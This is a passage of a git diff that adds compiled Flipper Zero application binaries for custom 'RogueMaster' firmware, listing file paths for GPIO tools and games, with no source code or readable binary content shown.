(UL, RM)/RogueMaster/GPIO/analog_output.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/analog_output.fap new file mode 100644 index 000000000..0fd890e58 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/analog_output.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/battery_checker.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/battery_checker.fap new file mode 100644 index 000000000..8a5af6ee9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/battery_checker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/blackhat.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/blackhat.fap new file mode 100644 index 000000000..32e525798 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/blackhat.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/bmi160_air_mouse.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/bmi160_air_mouse.fap new file mode 100644 index 000000000..992d1ed87 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/bmi160_air_mouse.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/can_commander.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/can_commander.fap new file mode 100644 index 000000000..ec4d80fcd Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/can_commander.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canbus.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canbus.fap new file mode 100644 index 000000000..96851c890 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canbus.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canfdhs.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canfdhs.fap new file mode 100644 index 000000000..c13ccb0b9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canfdhs.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canonivm.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canonivm.fap new file mode 100644 index 000000000..13627cfcb Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canonivm.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/coffee_eeprom.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/coffee_eeprom.fap new file mode 100644 index 000000000..bc724f7d6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/coffee_eeprom.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/continuity.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/continuity.fap new file mode 100644 index 000000000..e14b7c6be Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/continuity.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/delfyrtl.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/delfyrtl.fap new file mode 100644 index 000000000..827833bfe Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/delfyrtl.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/digimon_fcom.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/digimon_fcom.fap new file mode 100644 index 000000000..1d72c90af Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/digimon_fcom.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/e220_lora_config.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/e220_lora_config.fap new file mode 100644 index 000000000..8952d65ee Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/e220_lora_config.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/enc_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/enc_reader.fap new file mode 100644 index 000000000..372eb90f2 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/enc_reader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/fencing_testbox.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/fencing_testbox.fap new file mode 100644 index 000000000..fa78fa42b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/fencing_testbox.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flashlight.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flashlight.fap new file mode 100644 index 000000000..f43f72a9b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flashlight.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flipagotchi.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flipagotchi.fap new file mode 100644 index 000000000..f51b7d76f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flipagotchi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flippy_temp.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flippy_temp.fap new file mode 100644 index 000000000..ca7999dc5 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flippy_temp.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/fm_radio.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/fm_radio.fap new file mode 100644 index 000000000..f957876fd Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/fm_radio.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio.fap new file mode 100644 index 000000000..fc50c8573 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_7segment_output.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_7segment_output.fap new file mode 100644 index 000000000..a298b15c6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_7segment_output.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_badge.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_badge.fap new file mode 100644 index 000000000..a97d39802 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_badge.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_controller.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_controller.fap new file mode 100644 index 000000000..f29bef66f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_controller.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_explorer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_explorer.fap new file mode 100644 index 000000000..a428dde18 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_explorer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_intervalometer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_intervalometer.fap new file mode 100644 index 000000000..8da6b92e0 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_intervalometer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_pins_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_pins_reader.fap new file mode 100644 index 000000000..59f37be21 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_pins_reader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_reader_b.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_reader_b.fap new file mode 100644 index 000000000..de8e746ee Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_reader_b.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_rgb_led.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_rgb_led.fap new file mode 100644 index 000000000..4983969c4 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_rgb_led.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_sentry_safe.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_sentry_safe.fap new file mode 100644 index 000000000..b8ac874a9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_sentry_safe.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_wi2c.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_wi2c.fap new file mode 100644 index 000000000..74433dc22 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_wi2c.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/hc11_modem.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/hc11_modem.fap new file mode 100644 index 000000000..b4309ca7f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/hc11_modem.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ina_meter.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ina_meter.fap new file mode 100644 index 000000000..40d818afc Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ina_meter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/lasercat.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/lasercat.fap new file mode 100644 index 000000000..065cb9769 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/lasercat.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/logic_analyzer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/logic_analyzer.fap new file mode 100644 index 000000000..92e4e84b3 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/logic_analyzer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/longwave_clock.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/longwave_clock.fap new file mode 100644 index 000000000..35a3d58f3 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/longwave_clock.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_app.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_app.fap new file mode 100644 index 000000000..e3b2311bd Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_terminal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_terminal.fap new file mode 100644 index 000000000..1e44bb77f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_terminal.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/magspoof.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/magspoof.fap new file mode 100644 index 000000000..a43eee779 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/magspoof.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/modbus.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/modbus.fap new file mode 100644 index 000000000..7be13f29d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/modbus.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/nmea_gps.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/nmea_gps.fap new file mode 100644 index 000000000..a0ebd9b74 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/nmea_gps.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/noptel_lrf_sampler.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/noptel_lrf_sampler.fap new file mode 100644 index 000000000..d5680cbaa Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/noptel_lrf_sampler.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/oscilloscope.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/oscilloscope.fap new file mode 100644 index 000000000..c199d732f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/oscilloscope.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/pokemon_trading.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/pokemon_trading.fap new file mode 100644 index 000000000..2ef53e4b0 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/pokemon_trading.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/rc2014_coleco.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/rc2014_coleco.fap new file mode 100644 index 000000000..9a0082d99 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/rc2014_coleco.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/sd_spi_app.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/sd_spi_app.fap new file mode 100644 index 000000000..ab0258335 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/sd_spi_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester.fap new file mode 100644 index 000000000..94326bb33 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester2.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester2.fap new file mode 100644 index 000000000..57f538a50 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester2.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/si4713tuner.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/si4713tuner.fap new file mode 100644 index 000000000..cbeb257c4 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/si4713tuner.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/signal_generator.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/signal_generator.fap new file mode 100644 index 000000000..6600a979e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/signal_generator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/simultaneous_rfid_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/simultaneous_rfid_reader.fap new file mode 100644 index 000000000..12060111e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/simultaneous_rfid_reader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/sio2flip.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/sio2flip.fap new file mode 100644 index 000000000..3c4bffe55 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/sio2flip.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/spi_terminal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/spi_terminal.fap new file mode 100644 index 000000000..afbc2e685 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/spi_terminal.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/spotify_remote.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/spotify_remote.fap new file mode 100644 index 000000000..25a74385a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/spotify_remote.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/stepcounter.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/stepcounter.fap new file mode 100644 index 000000000..ff63ae8f5 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/stepcounter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/strobometer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/strobometer.fap new file mode 100644 index 000000000..ec5c2fc9b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/strobometer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_echo.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_echo.fap new file mode 100644 index 000000000..45e4a81d8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_echo.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_terminal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_terminal.fap new file mode 100644 index 000000000..f6e67de24 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_terminal.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ublox.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ublox.fap new file mode 100644 index 000000000..d5386a0bc Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ublox.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/uhf_rfid.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uhf_rfid.fap new file mode 100644 index 000000000..b983e1ea3 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uhf_rfid.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wav_recorder.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wav_recorder.fap new file mode 100644 index 000000000..cd2b485ee Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wav_recorder.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wch_swio_flasher.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wch_swio_flasher.fap new file mode 100644 index 000000000..9795cd0bb Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wch_swio_flasher.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wiegand_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wiegand_reader.fap new file mode 100644 index 000000000..713bf5967 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wiegand_reader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wii_ec_analyzer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wii_ec_analyzer.fap new file mode 100644 index 000000000..522dbae42 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wii_ec_analyzer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wire_tester.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wire_tester.fap new file mode 100644 index 000000000..9b8bf78df Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wire_tester.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ws2812b_tester_app.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ws2812b_tester_app.fap new file mode 100644 index 000000000..deeac410c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ws2812b_tester_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/yuricable_pro_max.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/yuricable_pro_max.fap new file mode 100644 index 000000000..3ce7efc57 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/yuricable_pro_max.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/1d_pacman.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/1d_pacman.fap new file mode 100644 index 000000000..5b5065852 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/1d_pacman.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/2048.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/2048.fap new file mode 100644 index 000000000..88ee1dee8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/2048.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/2048_improved.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/2048_improved.fap new file mode 100644 index 000000000..1637feace Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/2048_improved.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/4_in_a_row.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/4_in_a_row.fap new file mode 100644 index 000000000..7e7f1ffc5 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/4_in_a_row.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/99.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/99.fap new file mode 100644 index 000000000..012f53b82 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/99.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/apple_grabber.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/apple_grabber.fap new file mode 100644 index 000000000..ac50fbfcc Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/apple_grabber.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/arkanoid.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/arkanoid.fap new file mode 100644 index 000000000..d85ac41d1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/arkanoid.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/asteroids.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/asteroids.fap new file mode 100644 index 000000000..062f22183 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/asteroids.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/banana.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/banana.fap new file mode 100644 index 000000000..afe113981 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/banana.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack.fap new file mode 100644 index 000000000..0495f2479 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack_rg.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack_rg.fap new file mode 100644 index 000000000..8c7e0038c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack_rg.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/bomberduck.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/bomberduck.fap new file mode 100644 index 000000000..6a18dfcb4 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/bomberduck.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/bomberfox.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/bomberfox.fap new file mode 100644 index 000000000..78f20224c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/bomberfox.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/cells_sim_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/cells_sim_app.fap new file mode 100644 index 000000000..2d37a4fed Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/cells_sim_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/chess.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/chess.fap new file mode 100644 index 000000000..b1030a2d8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/chess.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/chess_clock.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/chess_clock.fap new file mode 100644 index 000000000..c8c65533d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/chess_clock.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/cigarette.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/cigarette.fap new file mode 100644 index 000000000..9ca3be496 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/cigarette.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/citybloxx.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/citybloxx.fap new file mode 100644 index 000000000..51b46dffd Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/citybloxx.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/cognizantflipper.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/cognizantflipper.fap new file mode 100644 index 000000000..2583dc73d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/cognizantflipper.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/color_guess.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/color_guess.fap new file mode 100644 index 000000000..cc7271754 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/color_guess.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/connect_wires.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/connect_wires.fap new file mode 100644 index 000000000..1979a829f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/connect_wires.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/crossy_road.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/crossy_road.fap new file mode 100644 index 000000000..ef0667338 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/crossy_road.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/deadzone.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/deadzone.fap new file mode 100644 index 000000000..d78159b33 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/deadzone.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/dice_rm.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/dice_rm.fap new file mode 100644 index 000000000..ed55b69f8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/dice_rm.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/dnd_dice_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/dnd_dice_app.fap new file mode 100644 index 000000000..0adf304d4 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/dnd_dice_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/doom.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/doom.fap new file mode 100644 index 000000000..0f15ec2e3 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/doom.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/drifter.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/drifter.fap new file mode 100644 index 000000000..bc0a1ef1e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/drifter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/dvd_bouncer.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/dvd_bouncer.fap new file mode 100644 index 000000000..813705cb6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/dvd_bouncer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/eightball.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/eightball.fap new file mode 100644 index 000000000..dfca145f1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/eightball.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/etchasketch.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/etchasketch.fap new file mode 100644 index 000000000..8e6c8466e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/etchasketch.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/executor_keychain.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/executor_keychain.fap new file mode 100644 index 000000000..829bb0819 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/executor_keychain.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/fighterjet.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/fighterjet.fap new file mode 100644 index 000000000..6ed2af91c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/fighterjet.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/five_nights_at_flippers.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/five_nights_at_flippers.fap new file mode 100644 index 000000000..716c758d3 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/five_nights_at_flippers.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/flappy_bird.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/flappy_bird.fap new file mode 100644 index 000000000..485765e38 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/flappy_bird.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/flight_assault.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/flight_assault.fap new file mode 100644 index 000000000..a5f952e0e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/flight_assault.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/flipper_hero.fap b/Applications/Custom (UL, 